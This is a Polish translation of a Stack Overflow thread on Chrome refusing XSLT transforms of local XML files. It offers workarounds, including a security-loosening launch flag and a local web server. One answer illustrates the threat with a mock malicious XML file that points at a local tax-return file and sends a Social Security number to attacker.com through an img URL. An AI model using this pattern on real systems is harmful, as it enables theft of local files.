Czy można zmusić Chrome do przeprowadzenia transformacji XSL na pliku lokalnym?


91

Zajrzałem do xslt i zacząłem testować na przykładach w w3schools.

Jednak kiedy zapisuję pliki xml i xsl w plikach i próbuję je otworzyć lokalnie, chrome nie wykona transformacji xsl. Po prostu pokazuje pustą stronę.

Dodałem <?xml-stylesheet type="text/xsl" href="style.xsl">tag do dokumentu xml, a Firefox renderuje go tak, jak powinien. Ponadto, jeśli patrzę na pliki przez serwer WWW, chrome wyświetla plik tak, jak powinien.

Czy to dlatego, że Chrome ma problem ze znalezieniem informacji w arkuszu stylów, gdy łącze jest lokalne? Zmiana href na file:///C:/xsl/style.xslnie zrobiła żadnej różnicy.

Aktualizacja: Wydaje się, że jest to efekt uboczny polityki bezpieczeństwa, która nie traktuje file: /// * jako tego samego pochodzenia. To powoduje, że w konsoli pojawia się następujący błąd:

Niebezpieczna próba załadowania pliku URL: /// C: /xsl-rpg/style.xsl z ramki z plikiem URL: /// C: /xsl-rpg/data.xml. Domeny, protokoły i porty muszą być zgodne.


1
Wygląda na to, że z file:protokołu Chrome wyrzuca ten sam błąd domeny.

1
Na IE11 to działa. Chrome robi się zły.
Marco Demaio

Odpowiedzi:


74

Krótka odpowiedź brzmi: „Nie, użyj jednej z wielu dostępnych przeglądarek .

Powodem, dla którego to nie działa, jest problem bezpieczeństwa, który Chrome rozwiązał w kontrowersyjny sposób [1] [2] [3] [4] , blokując dostęp do lokalnych plików XSLT w tym samym katalogu przez pliki XML. pliki mogą uzyskać dostęp do plików .CSS w tym samym katalogu.

We wszystkich wyżej wymienionych kwestiach użytkownicy prosili o wyraźniejszy komunikat o błędzie (ponieważ domeny, protokoły i porty w rzeczywistości są zgodne) lub przynajmniej wyświetlenie XML bez stylizacji. Programiści Chrome zignorowali te żądania.


18
Chociaż ich troska o bezpieczeństwo ma sens, pliki XML powinny mieć możliwość ładowania arkuszy stylów XSL z tego samego katalogu, tak jak pliki HTML mogą ładować obrazy i skrypty z tego samego katalogu. Jest problem, który możesz oznaczyć, ale zespół programistów Chrome zakazał nowych komentarzy na jego temat - pomimo tego, że narzekali, że nie mogą oszacować, jak bardzo użytkownicy chcieli, aby lokalne pochodzenie pliku było rozluźnione.
Dan Dascalescu,

1
Ciekawostka: Safari na Macu (8.0) działa dobrze z lokalnym XSLT, ale Safari na symulatorze iOS (8) (i przypuszczam też na iOS). Otrzymałem ten sam błąd co w Chrome „Domeny, protokoły i porty muszą być zgodne. ”. Ale jeśli mam zaimplementować UIWebView w aplikacji i załadować XML z XSLT, wszystko działa OK.
Paul Brewczyński

Nie ma sensu używać innej przeglądarki, gdy zadaniem jest naprawienie określonego renderowania xslt w przeglądarkach Chrome ...
n611x007

Jedną z metod, która działa z Chromium, jest wstawienie pliku XSL do pliku XML jako danych: text / xsl URI.
EricLaw

57

Możesz to zrobić lokalnie, używając flag wiersza poleceń Chrome.

Specyficzna flaga to --allow-file-access-from-files

W systemie OS X: uruchom Terminal.app /Applications/Google\ Chrome.app/contents/MacOS/Google\ Chrome --allow-file-access-from-files

W systemie Windows: z wiersza poleceń uruchom %LOCALAPPDATA%\Google\Chrome\Application\chrome.exe --allow-file-access-from-files

Uwaga: prawdopodobnie będziesz musiał zamknąć Chrome, jeśli jest obecnie uruchomiony, w przeciwnym razie Ch


Wydaje się, że to nie działa dla mnie w systemie Windows 7. Znalazłem chrome.exe znajdujący się tutaj:, C:\Program Files (x86)\Google\Chrome\Applicationa polecenie --allow-file-access-from-files wykonuje się dobrze, ale mój lokalny dokument XML (przekształcony przez lokalny plik XSLT) nie jest wyświetlany.
Rick wspiera Monikę

2
Może trzeba ręcznie zabić wszystkie uruchomione procesy systemu Windows dla chrome.exe w menedżerze zadań systemu Windows. U mnie to zadziałało.
Christian Schulzendorff

1
/Applications/Google\ Chrome\ Canary.app/Contents/MacOS/Google\ Chrome\ Canary --allow-file-access-from-filespracował dla mnie. Oczywiście używam Chrome Canary. Po uruchomieniu tego polecenia powinno się otworzyć nowe okno przeglądarki Chrome i umożliwić wykonanie przekształcenia XSL.
SeanLF

2
Szybciej w systemie Windows 7: klawisz okna + R; "chrome --allow-file-access-from-files"; Wchodzić.
Aaron Campbell

Lub w PowerShell (zabija poprzednie chromy za ciebie):get-process chrome | stop-process; start-process chrome --allow-file-access-from-files
Aaron Campbell

15

Jeśli chcesz trzymać się OP, odpowiedź brzmi nie (jak wskazywali inni), ale jednym ze sposobów rozwiązania problemu jest uruchomienie prostego serwera internetowego i otwieranie plików przez http w chrome. Jeśli masz zainstalowany Python 2.x, możesz uruchomić serwer WWW, wpisując:

python -m SimpleHTTPServer

Lub w Pythonie 3.x:

python3 -m http.server

a następnie otwórz plik, używając http://localhost:8000/yourfile.xmlw chrome. Mam nadzieję, że chcesz po prostu wykonać swoją pracę i nie jest to kluczowa rzecz, aby otwierać plik za pomocąfile://


3

Zajęło to trochę czasu na rozszyfrowanie strony błędów przeglądarki Chrome - bardzo chętnie nie wyjaśniają, na czym polega problem i dlaczego wybrali łamanie wszystkich, a nie wszystkich.

Załóżmy, że mam plik XML - gdzieś - na swoim dysku twardym, np .:

C: \ Users \ Ian \ Documents \ Taxes \ StudioTaxReturn_2015.xml

I złośliwemu podmiotowi - w jakiś sposób - udało się upuścić złośliwy plik Xml na mój komputer, np .:

C: \ Users \ Ian \ AppData \ LocalLow \ Temp \ TrojanVirusWorm.xml

Imagine TrojanVirusWorm.xml zawiera instrukcję przetwarzania arkusza stylów ( PI ):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>

Następnie osoba atakująca instruuje moją przeglądarkę, aby przejść do lokalnie zapisanego trojanVirusWorm.xmlpliku.

Najwyraźniej istnieje sposób, w jaki plik XML może odczytać zawartość pliku XSD (zamiast być przekształcanym przez plik XSD):

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<?xml-stylesheet type="text/xsl" href="file://C:/Users/Ian/Documents/Taxes/StudioTaxReturn_2015.xml""?>
   <!--And then a miracle happens, and this XML file is able to read
       the contents of the stylesheet xml file-->
<html>
   <img src="http://attacker.com/UploadSocialSecurityNumber&ssn=..."></img>
</html>

Nie rozumiem, jak plik XML może odczytać plik arkusza stylów. Ale zespół Chrome zapewnia nas, że jest to zagrożenie i nie można go rozwiązać.

Każda inna przeglądarka to rozwiązała. Rozwiązali to, bo to nie jest problem .


3

Moje obejście, aby zobaczyć xml zgodnie z plikiem xsl

Załóżmy, że mamy plik some_file.xml z nagłówkami:

<?xml version="1.0" encoding="UTF-8" ?>
<?xml-stylesheet type="text/xsl" href="https://some-site.com/Common.xsl"?>
  1. Pobieramy plik https://some-site.com/Common.xsli umieszczamy go oboksome_file.xml
  2. Zmień część naszego nagłówka z href="https://some-site.com/Common.xsl"na href="http://localhost:8001/Common.xsl"
  3. Uruchom w katalogu z naszymi plikami - python3 -m http.server 8001
  4. Otwórz w dowolnej przeglądarce http://localhost:8001/some_file.xml

Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.